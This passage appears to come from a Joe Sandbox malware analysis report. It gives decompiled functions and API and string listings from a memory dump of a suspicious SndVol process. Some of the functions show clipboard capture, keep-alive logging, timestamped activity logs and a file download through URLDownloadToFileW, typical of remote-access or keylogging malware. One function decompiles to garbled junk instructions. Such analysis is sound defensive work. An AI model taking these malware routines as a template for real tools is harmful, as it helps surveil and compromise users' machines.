                                    0x0041939b

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: MetricsSystem
                                    • String ID:
                                    • API String ID: 4116985748-0
                                    • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                    • Instruction ID: edc82a4a035bff037d33a616db68b75569204bd7c2e5d135532ee0b20f0c6c2d
                                    • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                    • Instruction Fuzzy Hash: BDF0A472B043164BD740EA758C51A6F6BD59BD4364F10083FF619C7282EE68DC458785
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00438E81 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00438E81() {
				void* _t4;
				void* _t8;

				E0043A263();
				E00438E15();
				if(E0043A38A() != 0) {
					_t4 = E0043A33C(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E0043A3C6();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}





                                    0x00438e81
                                    0x00438e86
                                    0x00438e92
                                    0x00438e97
                                    0x00438e9c
                                    0x00438e9e
                                    0x00438ea9
                                    0x00438ea0
                                    0x00438ea0
                                    0x00000000
                                    0x00438ea0
                                    0x00438e94
                                    0x00438e94
                                    0x00438e96
                                    0x00438e96

                                    APIs
                                    • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438E81
                                    • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438E86
                                    • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438E8B
                                      • Part of subcall function 0043A38A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A39B
                                    • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438EA0
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                                    • String ID:
                                    • API String ID: 1761009282-0
                                    • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                    • Instruction ID: 4970cc12325f853c9d43998386992712cdc6dfe5853abcc6e5714df353707437
                                    • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                    • Instruction Fuzzy Hash: 52C00204498381142D507AB219035AE8304196E79CF9434CFBEE0972479F4E042E643F
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00442BAD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                    Download Yara Rule
                                    APIs
                                    • __startOneArgErrorHandling.LIBCMT ref: 00442C3D
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorHandling__start
                                    • String ID: pow
                                    • API String ID: 3213639722-2276729525
                                    • Opcode ID: 7999687525a5f056358f4945bcea889633b97b56b968074450efa294ab446d87
                                    • Instruction ID: 2d971289dde579453a8328fec2769be594096d94be055e2bc3f0418228e70bfd
                                    • Opcode Fuzzy Hash: 7999687525a5f056358f4945bcea889633b97b56b968074450efa294ab446d87
                                    • Instruction Fuzzy Hash: 32518861E0460286FB117B14CA8137F6B94EB40B51F604D7BF096863AAEB7CCCC59A4F
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040B696 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 96%
                                    			E0040B696(void* __ecx) {
				char _v28;
				char _v52;
				char _v76;
				char _v100;
				char _v124;
				char _v148;
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t23;
				void* _t27;
				void* _t30;
				void* _t78;
				void* _t84;
				void* _t85;
				void* _t86;

				_t86 = _t85 - 0x94;
				_t78 = __ecx;
				if( *0x476cfc >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c])) + 4))) {
					E00434338(0x476cfc);
					_t89 =  *0x476cfc - 0xffffffff;
					if( *0x476cfc == 0xffffffff) {
						E00401F86(0x476d00, 0x476d00);
						E004346C2(_t89, E00457F3A);
						E004342F9(0x476cfc, 0x476cfc);
					}
				}
				E0040B65C( &_v28);
				_t23 = E0040B91A(0x476d00);
				_t90 = _t23;
				if(_t23 == 0) {
					E0040B83A(0x476d00,  &_v28);
					_t27 = E004077B7(_t90);
					_t91 = _t27;
					if(_t27 != 0) {
						E00402093(0x476d00,  &_v76, 0x466468, _t84, "\r\n[End of clipboard]\r\n");
						E00402093(0x476d00,  &_v52, 0x466468, _t84, "\r\n[Text copied to clipboard]\r\n");
						_t30 = E0041BBB0( &_v148,  &_v76);
						E00402FA5(_t86 - 0x18, E0040431D(0x476d00,  &_v100, E0041BBB0( &_v124,  &_v52), _t84, _t91, 0x476d00), _t30);
						E0040A584(_t78);
						E00401F09();
						E00401F09();
						E00401F09();
						E00401FD8();
						E00401FD8();
					}
				}
				return E00401F09();
			}



















                                    0x0040b69f
                                    0x0040b6b4
                                    0x0040b6bc
                                    0x0040b6c4
                                    0x0040b6c9
                                    0x0040b6d1
                                    0x0040b6d5
                                    0x0040b6df
                                    0x0040b6e5
                                    0x0040b6eb
                                    0x0040b6d1
                                    0x0040b6f0
                                    0x0040b6fa
                                    0x0040b6ff
                                    0x0040b701
                                    0x0040b70d
                                    0x0040b71a
                                    0x0040b71f
                                    0x0040b721
                                    0x0040b72f
                                    0x0040b73c
                                    0x0040b74a
                                    0x0040b770
                                    0x0040b778
                                    0x0040b780
                                    0x0040b788
                                    0x0040b793
                                    0x0040b79b
                                    0x0040b7a3
                                    0x0040b7a3
                                    0x0040b721
                                    0x0040b7b6

                                    APIs
                                      • Part of subcall function 004346C2: __onexit.LIBCMT ref: 004346C8
                                    • __Init_thread_footer.LIBCMT ref: 0040B6E5
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Init_thread_footer__onexit
                                    • String ID: [End of clipboard]$[Text copied to clipboard]
                                    • API String ID: 1881088180-3686566968
                                    • Opcode ID: 05d98891ecd99122479de2a2e23e906f06f164ec981e6cbb664844c923711edd
                                    • Instruction ID: 1bcb3ff6a02a1fbc13fb18d4da719a2c3f69dadc94067f97faf5e7cc30bfe9b9
                                    • Opcode Fuzzy Hash: 05d98891ecd99122479de2a2e23e906f06f164ec981e6cbb664844c923711edd
                                    • Instruction Fuzzy Hash: 3B217331A001055ACB04FB66D8929EEB365EF54318F50457FE905731D2EF3C6D4ACA9D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00451A88 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 93%
                                    			E00451A88(void* __ecx, signed int _a4, intOrPtr _a8) {
				int _v8;
				void* __esi;
				int _t15;
				int _t16;
				signed int _t17;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t36;

				_push(__ecx);
				_t23 = _a4;
				_push(_t34);
				if(_t23 == 0) {
					L21:
					_t15 = E004487BD(_t23, _t34, __eflags, _a8 + 0x250, 0x20001004,  &_v8, 2);
					__eflags = _t15;
					if(_t15 != 0) {
						_t16 = _v8;
						__eflags = _t16;
						if(_t16 == 0) {
							_t16 = GetACP();
						}
						L25:
						return _t16;
					}
					L22:
					_t16 = 0;
					goto L25;
				}
				_t17 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t34 = 0x460348;
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t34) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t17;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t36 = 0x460350;
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t36) {
								break;
							}
							if(_t31 == 0) {
								L17:
								_t48 = _t17;
								if(_t17 != 0) {
									_t16 = E0043B9D2(_t23, _t23);
									goto L25;
								}
								if(E004487BD(_t23, _t36, _t48, _a8 + 0x250, 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t16 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t36 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t36 = _t36 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t17 = _t17 | 0x00000001;
						__eflags = _t17;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t34 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t34 = _t34 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				__eflags = _t26;
				goto L9;
			}


















                                    0x00451a8d
                                    0x00451a8e
                                    0x00451a91
                                    0x00451a95
                                    0x00451b3b
                                    0x00451b4f
                                    0x00451b54
                                    0x00451b56
                                    0x00451b5c
                                    0x00451b5f
                                    0x00451b61
                                    0x00451b63
                                    0x00451b63
                                    0x00451b69
                                    0x00451b6e
                                    0x00451b6e
                                    0x00451b58
                                    0x00451b58
                                    0x00000000
                                    0x00451b58
                                    0x00451a9b
                                    0x00451aa0
                                    0x00000000
                                    0x00000000
                                    0x00451aa6
                                    0x00451aab
                                    0x00451aad
                                    0x00451aad
                                    0x00451ab3
                                    0x00000000
                                    0x00000000
                                    0x00451ab8
                                    0x00451acf
                                    0x00451acf
                                    0x00451ad8
                                    0x00451ada
                                    0x00000000
                                    0x00000000
                                    0x00451adc
                                    0x00451ae1
                                    0x00451ae3
                                    0x00451ae3
                                    0x00451ae9
                                    0x00000000
                                    0x00000000
                                    0x00451aee
                                    0x00451b0c
                                    0x00451b0c
                                    0x00451b0e
                                    0x00451b33
                                    0x00000000
                                    0x00451b38
                                    0x00451b2b
                                    0x00000000
                                    0x00000000
                                    0x00451b2d
                                    0x00000000
                                    0x00451b2d
                                    0x00451af0
                                    0x00451af8
                                    0x00000000
                                    0x00000000
                                    0x00451afa
                                    0x00451afd
                                    0x00451b03
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00451b05
                                    0x00451b07
                                    0x00451b09
                                    0x00451b09
                                    0x00000000
                                    0x00451b09
                                    0x00451aba
                                    0x00451ac2
                                    0x00000000
                                    0x00000000
                                    0x00451ac4
                                    0x00451ac7
                                    0x00451acd
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00451acd
                                    0x00451ad3
                                    0x00451ad5
                                    0x00451ad5
                                    0x00000000

                                    APIs
                                    • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451CE3,?,00000050,?,?,?,?,?), ref: 00451B63
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: ACP$OCP
                                    • API String ID: 0-711371036
                                    • Opcode ID: 36be01f97a537e8ba0716070fa63bca62691f225810e3a6ae3673f48be3d0d2c
                                    • Instruction ID: 9ec227967ffb800580a4e9dfcaaffbb44bcf5aca836bfc04c722d86cbfd52064
                                    • Opcode Fuzzy Hash: 36be01f97a537e8ba0716070fa63bca62691f225810e3a6ae3673f48be3d0d2c
                                    • Instruction Fuzzy Hash: 0B210662A00100A6DB20CB55CD41B9B73AADF50B27F568467ED0AD7322F73AED45C39C
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 86%
                                    			E00404FF4(intOrPtr _a4) {
				char _v24;
				void* _v28;
				struct _SYSTEMTIME _v40;
				void* __ebx;
				void* __ebp;
				void* _t11;
				void* _t17;
				void* _t35;
				intOrPtr _t36;
				void* _t38;
				void* _t42;
				void* _t43;

				if( *0x4755f4 == 0) {
					__eflags = 0;
					return 0;
				}
				_t36 = _a4;
				if( *0x472d48 == 0) {
					L7:
					 *0x475610 =  *0x475610 & 0x00000000;
					 *0x475615 = 1;
					 *0x47560c = _t36;
					return 1;
				}
				_t46 =  *0x475614;
				_t22 = "KeepAlive             | Enabled | Timeout: ";
				_t37 = "i";
				if( *0x475614 != 0) {
					GetLocalTime( &_v40);
					_t17 = E0041BAE0("KeepAlive             | Enabled | Timeout: ",  &_v24, _t36);
					_t42 = _t38 - 0x18;
					E004052FD(_t22, _t42, _t22, "i", _t46, _t17);
					_t43 = _t42 - 0x14;
					E00402093(_t22, _t43, _t22, "i", _t37);
					E0041B441(_t22, _t35);
					_t38 = _t43 + 0x30;
					E00401FD8();
					 *0x475614 = 0;
				}
				if( *0x47560c != _t36) {
					_t48 =  *0x475615;
					if( *0x475615 != 0) {
						GetLocalTime( &_v40);
						_t11 = E0041BAE0(_t22,  &_v24, _t36);
						_t39 = _t38 - 0x18;
						E004052FD(_t22, _t38 - 0x18, _t22, _t37, _t48, _t11);
						E00402093(_t22, _t39 - 0x14, _t22, _t37, _t37);
						E0041B441(_t22, _t35);
						E00401FD8();
					}
				}
				goto L7;
			}















                                    0x00405001
                                    0x004050d9
                                    0x00000000
                                    0x004050d9
                                    0x0040500e
                                    0x00405012
                                    0x004050c1
                                    0x004050c1
                                    0x004050ca
                                    0x004050d1
                                    0x00000000
                                    0x004050d1
                                    0x00405018
                                    0x0040501f
                                    0x00405024
                                    0x00405029
                                    0x00405030
                                    0x0040503c
                                    0x00405041
                                    0x00405049
                                    0x0040504e
                                    0x00405054
                                    0x00405059
                                    0x0040505e
                                    0x00405065
                                    0x0040506a
                                    0x0040506a
                                    0x00405077
                                    0x00405079
                                    0x00405080
                                    0x00405087
                                    0x00405093
                                    0x00405098
                                    0x004050a0
                                    0x004050ab
                                    0x004050b0
                                    0x004050bc
                                    0x004050bc
                                    0x00405080
                                    0x00000000

                                    APIs
                                    • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415C17,?,00000001,0000004C,00000000), ref: 00405030
                                      • Part of subcall function 0041B441: GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                    • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415C17,?,00000001,0000004C,00000000), ref: 00405087
                                    Strings
                                    • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: LocalTime
                                    • String ID: KeepAlive | Enabled | Timeout:
                                    • API String ID: 481472006-1507639952
                                    • Opcode ID: 2a4faa8330d343def7eb6d6efb3037636a8718807300986cb139438068e839fe
                                    • Instruction ID: c9a463d75f7305f4de8eb69a53ea0b9150273984036cc17fa2e92f394ecd7f2b
                                    • Opcode Fuzzy Hash: 2a4faa8330d343def7eb6d6efb3037636a8718807300986cb139438068e839fe
                                    • Instruction Fuzzy Hash: F921F2719006405BD710B7269C0676F7B68EB51308F80087EE8491B2A2EA7D5A88CBEF
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00416589 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61sleepfilenetworkCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 61%
                                    			E00416589(signed int __eax, signed int __ebx, void* __ecx, void* __edx, void* __esi) {
				signed char _t72;
				signed char _t73;
				signed int _t76;
				signed int _t80;
				signed char _t81;
				signed char _t82;
				signed int _t94;
				void* _t95;
				signed int* _t97;
				void* _t101;
				void* _t106;
				intOrPtr* _t109;
				void* _t110;
				intOrPtr* _t111;
				void* _t118;
				void* _t123;
				signed int* _t124;
				void* _t128;
				void* _t132;
				signed int* _t136;
				signed int* _t139;
				signed int* _t142;
				signed int* _t144;
				signed int* _t145;
				signed char _t148;
				signed char _t149;
				void* _t152;
				intOrPtr* _t155;
				void* _t161;
				intOrPtr* _t162;
				intOrPtr* _t164;
				void* _t168;
				intOrPtr* _t169;
				void* _t170;
				void* _t171;
				void* _t172;
				void* _t174;
				signed int _t176;
				void* _t177;
				void* _t178;

				_t72 = __eax |  *__eax;
				 *((intOrPtr*)(__edx + 0x64)) =  *((intOrPtr*)(__edx + 0x64)) + __ecx;
				E0040CFE4();
				asm("aam 0x5a");
				_t101 = __ecx + 1;
				 *((intOrPtr*)(__esi - 0x50ffbea4)) =  *((intOrPtr*)(__esi - 0x50ffbea4)) + _t72;
				 *((intOrPtr*)(__edx + 0x800415e)) =  *((intOrPtr*)(__edx + 0x800415e)) + _t101;
				_t161 = 0x41;
				 *((intOrPtr*)(_t161 + 0x5f)) =  *((intOrPtr*)(_t161 + 0x5f)) + __edx;
				 *((intOrPtr*)(_t161 + 0x5fc30041 + __ebx * 2)) =  *((intOrPtr*)(_t161 + 0x5fc30041 + __ebx * 2)) + __ebx;
				_t106 = _t101 + 1 + __ebx + 3;
				_t94 = __ebx + _t106;
				_pop(_t162);
				 *_t72 =  *_t72 + _t94;
				 *((intOrPtr*)(__esi - 0x27ffbea0)) =  *((intOrPtr*)(__esi - 0x27ffbea0)) + __edx;
				asm("pushad");
				_t109 = _t106 + 3;
				 *_t109 =  *_t109 + _t72;
				asm("popad");
				_t110 = _t109 + 1;
				 *((intOrPtr*)(_t178 + 0x41 + _t94 * 2)) =  *((intOrPtr*)(_t178 + 0x41 + _t94 * 2)) + __edx;
				_t155 = __edx + _t110;
				asm("popad");
				_t111 = _t110 + 1;
				 *_t94 =  *_t94 + _t155;
				asm("bound eax, [ecx]");
				_t73 = _t72 &  *(_t155 + 0x41);
				 *_t111 =  *_t111 + _t94;
				asm("arpl [ecx], ax");
				_pop(_t168);
				asm("arpl [ecx], ax");
				asm("movsd");
				asm("arpl [ecx], ax");
				asm("invalid");
				asm("arpl [ecx], ax");
				_t169 = _t168 - 1;
				_t118 = _t111 + 1 + _t155 + 1 + _t111 + 1 + _t155 + 1 + 1 + _t111 + 1 + _t155 + 1 + _t111 + 1 + _t155 + 1 + 1 + 1;
				 *((intOrPtr*)(_t174 + 0x41)) =  *((intOrPtr*)(_t174 + 0x41)) + _t118;
				 *((intOrPtr*)(_t155 + 0x65)) =  *((intOrPtr*)(_t155 + 0x65)) + _t118;
				 *((intOrPtr*)(_t162 + 0x65)) =  *((intOrPtr*)(_t162 + 0x65)) + _t94;
				 *((intOrPtr*)(_t162 - 0x6bffbe94)) =  *((intOrPtr*)(_t162 - 0x6bffbe94)) + _t73;
				 *_t155 =  *_t155 + _t94;
				 *((intOrPtr*)(_t169 + 0x66)) =  *((intOrPtr*)(_t169 + 0x66)) + _t155;
				_t123 = _t118 + 5;
				 *_t155 =  *_t155 + _t73;
				asm("a16 inc ecx");
				 *((intOrPtr*)(_t123 + 0xf004168)) =  *((intOrPtr*)(_t123 + 0xf004168)) + _t123;
				_push(0x688e0041);
				_t124 = _t123 + 1;
				 *_t94 =  *_t94 + _t124;
				_t76 =  *_t124 * E004169FA;
				asm("invalid");
				 *((intOrPtr*)(_t94 + 0x6e)) =  *((intOrPtr*)(_t94 + 0x6e)) + 0xda004169;
				 *0xFFFFFFFF840082C5 =  *((intOrPtr*)(0xffffffff840082c5)) + 0xda004169;
				_t128 =  &(_t124[0]) + _t94 + 2;
				_t95 = _t94 + _t128;
				_t176 = 0x41;
				 *_t162 =  *_t162 + _t76;
				asm("pushad");
				 *((intOrPtr*)(_t76 + 0x6b)) =  *((intOrPtr*)(_t76 + 0x6b)) + 0xda004169;
				_t132 = _t128 + 2 + _t95 + 1;
				 *((intOrPtr*)(_t162 - 0x4affbea4)) =  *((intOrPtr*)(_t162 - 0x4affbea4)) + _t132;
				asm("arpl [ecx], ax");
				 *0xda004169 =  *0xda004169 + 0xda004169;
				asm("insb");
				 *((intOrPtr*)(_t178 + _t176 * 2)) =  *((intOrPtr*)(_t178 + _t176 * 2)) + _t95;
				 *_t169 =  *_t169 + _t76 - 0x65;
				asm("insb");
				_t136 = _t132 + 4;
				_t80 =  *_t136 * 0x30;
				asm("insb");
				 *0xFFFFFFFFDA0041D4 =  *((intOrPtr*)(0xffffffffda0041d4)) + _t95;
				_t139 =  &(_t136[0]);
				_t97 = _t95 + _t80 + _t139;
				_t164 = 0x41;
				 *_t164 =  *_t164 + _t97;
				_pop(_t170);
				 *0xFFFFFFFFDA0041D3 =  *((intOrPtr*)(0xffffffffda0041d3)) + 0xda004169;
				_t142 =  &(_t139[0]);
				_t142[0xb40105b] = _t142[0xb40105b] + 0xda004169;
				 *0xFFFFFFFFDA0041C8 =  *((intOrPtr*)(0xffffffffda0041c8)) + 0xda004169;
				_t144 =  &(_t142[0]);
				_t81 = _t144 + _t80;
				asm("insb");
				_t145 =  &(_t144[0]);
				 *((intOrPtr*)(_t81 + 0x3100416d)) =  *((intOrPtr*)(_t81 + 0x3100416d)) + 0xda004169;
				asm("bound eax, [ecx]");
				_t82 = _t81 | _t97[0x10];
				 *((intOrPtr*)(_t170 + _t176 * 2)) =  *((intOrPtr*)(_t170 + _t176 * 2)) + _t145;
				asm("outsd");
				 *_t82 =  *_t82 + _t82;
				 *0xda004169 =  *0xda004169 + _t82;
				_t148 =  &(_t145[0]) |  *_t97;
				_push(cs);
				asm("movups xmm2, [ecx]");
				asm("adc dl, [ebx]");
				asm("adc al, 0x15");
				ss = ss;
				asm("sbb [ecx], bl");
				asm("sbb bl, [ebx]");
				asm("sbb al, 0x1d");
				ds = ds;
				 *_t148 =  *_t148 & (_t82 +  *((intOrPtr*)(_t82 + 0x9080706)) | 0x0000000d);
				asm("daa");
				 *_t148 =  *_t148 - _t148;
				_t149 = _t148 -  *_t97;
				asm("das");
				 *_t149 =  *_t149 ^ 0xda004169 + _t97;
				asm("aas");
				_t177 = _t176 + 1;
				_t171 = _t170 + 1;
				_t152 = (_t149 ^  *(_t97 + _t170 + 0x34)) + 1 - 1;
				_push(_t171);
				_t172 = _t152;
				E004046F7(_t172 + 4, _t177, 0);
				return _t172;
			}











































                                    0x00416589
                                    0x0041658b
                                    0x00417006
                                    0x0041700c
                                    0x0041700e
                                    0x0041700f
                                    0x00417017
                                    0x00417021
                                    0x00417023
                                    0x00417027
                                    0x0041702e
                                    0x0041702f
                                    0x00417031
                                    0x00417033
                                    0x00417037
                                    0x0041703d
                                    0x0041703e
                                    0x0041703f
                                    0x00417041
                                    0x00417042
                                    0x00417043
                                    0x00417047
                                    0x00417049
                                    0x0041704a
                                    0x0041704b
                                    0x0041704d
                                    0x00417050
                                    0x00417053
                                    0x00417055
                                    0x00417058
                                    0x00417059
                                    0x0041705c
                                    0x0041705d
                                    0x00417060
                                    0x00417065
                                    0x0041706c
                                    0x00417075
                                    0x00417077
                                    0x0041707b
                                    0x0041707f
                                    0x00417083
                                    0x0041708b
                                    0x0041708f
                                    0x00417092
                                    0x00417093
                                    0x00417095
                                    0x00417097
                                    0x0041709d
                                    0x004170a2
                                    0x004170a3
                                    0x004170b9
                                    0x004170c0
                                    0x004170c7
                                    0x004170cb
                                    0x004170d2
                                    0x004170d3
                                    0x004170d5
                                    0x004170d7
                                    0x004170d9
                                    0x004170df
                                    0x004170e2
                                    0x004170e3
                                    0x004170e9
                                    0x004170ef
                                    0x004170f1
                                    0x004170f3
                                    0x004170f7
                                    0x004170f9
                                    0x004170fa
                                    0x00417101
                                    0x00417105
                                    0x00417107
                                    0x0041710e
                                    0x0041710f
                                    0x00417111
                                    0x00417113
                                    0x00417115
                                    0x00417117
                                    0x0041711a
                                    0x0041711b
                                    0x00417123
                                    0x00417126
                                    0x00417127
                                    0x00417129
                                    0x0041712a
                                    0x0041712b
                                    0x00417131
                                    0x00417134
                                    0x00417137
                                    0x0041713d
                                    0x0041713f
                                    0x00417141
                                    0x0041714c
                                    0x00417150
                                    0x00417151
                                    0x00417154
                                    0x00417156
                                    0x0041715b
                                    0x0041715c
                                    0x0041715e
                                    0x00417160
                                    0x00417163
                                    0x00417164
                                    0x0041716a
                                    0x0041716c
                                    0x0041716e
                                    0x00417177
                                    0x004171ce
                                    0x004171ea
                                    0x00417207
                                    0x00417208
                                    0x0041720b
                                    0x0041720e
                                    0x0041720f
                                    0x00417216
                                    0x0041721e

                                    APIs
                                    • Sleep.KERNEL32 ref: 0041658E
                                    • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004165F0
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: DownloadFileSleep
                                    • String ID: !D@
                                    • API String ID: 1931167962-604454484
                                    • Opcode ID: bf792be7486510ac210bba1b18c042aa57425c20d566034c7692ffc474b06932
                                    • Instruction ID: e91f42ad5acf2b68f1a1a96d8d7928fb15901b339ed89951f767aa97d14ca5af
                                    • Opcode Fuzzy Hash: bf792be7486510ac210bba1b18c042aa57425c20d566034c7692ffc474b06932
                                    • Instruction Fuzzy Hash: F0112E716083029AC714FF72D8969AE73A8AF50349F400C7FF546A21E2EE3C9949C65A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041B441 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 73%
                                    			E0041B441(void* __ebx, void* __edi, char _a4, char _a28) {
				char _v28;
				char _v52;
				char _v76;
				char _v100;
				signed short _v102;
				signed short _v104;
				signed short _v106;
				signed short _v108;
				void* __ebp;
				void* _t57;
				signed int _t58;
				struct _SYSTEMTIME* _t60;

				_t60 = (_t58 & 0xfffffff8) - 0x70;
				_t62 =  *0x472d48;
				if( *0x472d48 != 0) {
					GetLocalTime(_t60);
					_push(_v102 & 0x0000ffff);
					_push(_v104 & 0x0000ffff);
					_push(_v106 & 0x0000ffff);
					E00407200(_t62, E00401FAB(E00406383(__ebx,  &_v100, E00402F10(__ebx,  &_v76, E00406383(__ebx,  &_v52, E0040531E( &_v28, "%02i:%02i:%02i:%03i ", _t57,  &_a4), __edi, _t57, _t62, " | "), _t57, _t62,  &_a28), __edi, _t57, _t62, 0x4660c0)), _v108 & 0x0000ffff);
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
				}
				E00401FD8();
				return E00401FD8();
			}















                                    0x0041b447
                                    0x0041b44a
                                    0x0041b451
                                    0x0041b45b
                                    0x0041b46a
                                    0x0041b475
                                    0x0041b47b
                                    0x0041b4c6
                                    0x0041b4d2
                                    0x0041b4db
                                    0x0041b4e4
                                    0x0041b4ed
                                    0x0041b4ed
                                    0x0041b4f5
                                    0x0041b505

                                    APIs
                                    • GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: LocalTime
                                    • String ID: | $%02i:%02i:%02i:%03i
                                    • API String ID: 481472006-2430845779
                                    • Opcode ID: badefe4437d722ce836c8cd770e222f0ee2fe7eb9a92ca5c4cf93d2ef8c89e02
                                    • Instruction ID: 21339cc1b6b5f65892d09dc7f89a0ac437ee08722eb078d03aedd2ff57c217d8
                                    • Opcode Fuzzy Hash: badefe4437d722ce836c8cd770e222f0ee2fe7eb9a92ca5c4cf93d2ef8c89e02
                                    • Instruction Fuzzy Hash: D4118E714082055AC304EB66D8419BFB3E9AB84348F50093FF896A31E1EF3CDA49C69A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041AC69 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 76%
                                    			E0041AC69(void* __ebx) {
				char _v28;
				void* __ebp;
				void* _t28;
				void* _t29;
				void* _t36;
				signed int _t37;
				void* _t39;

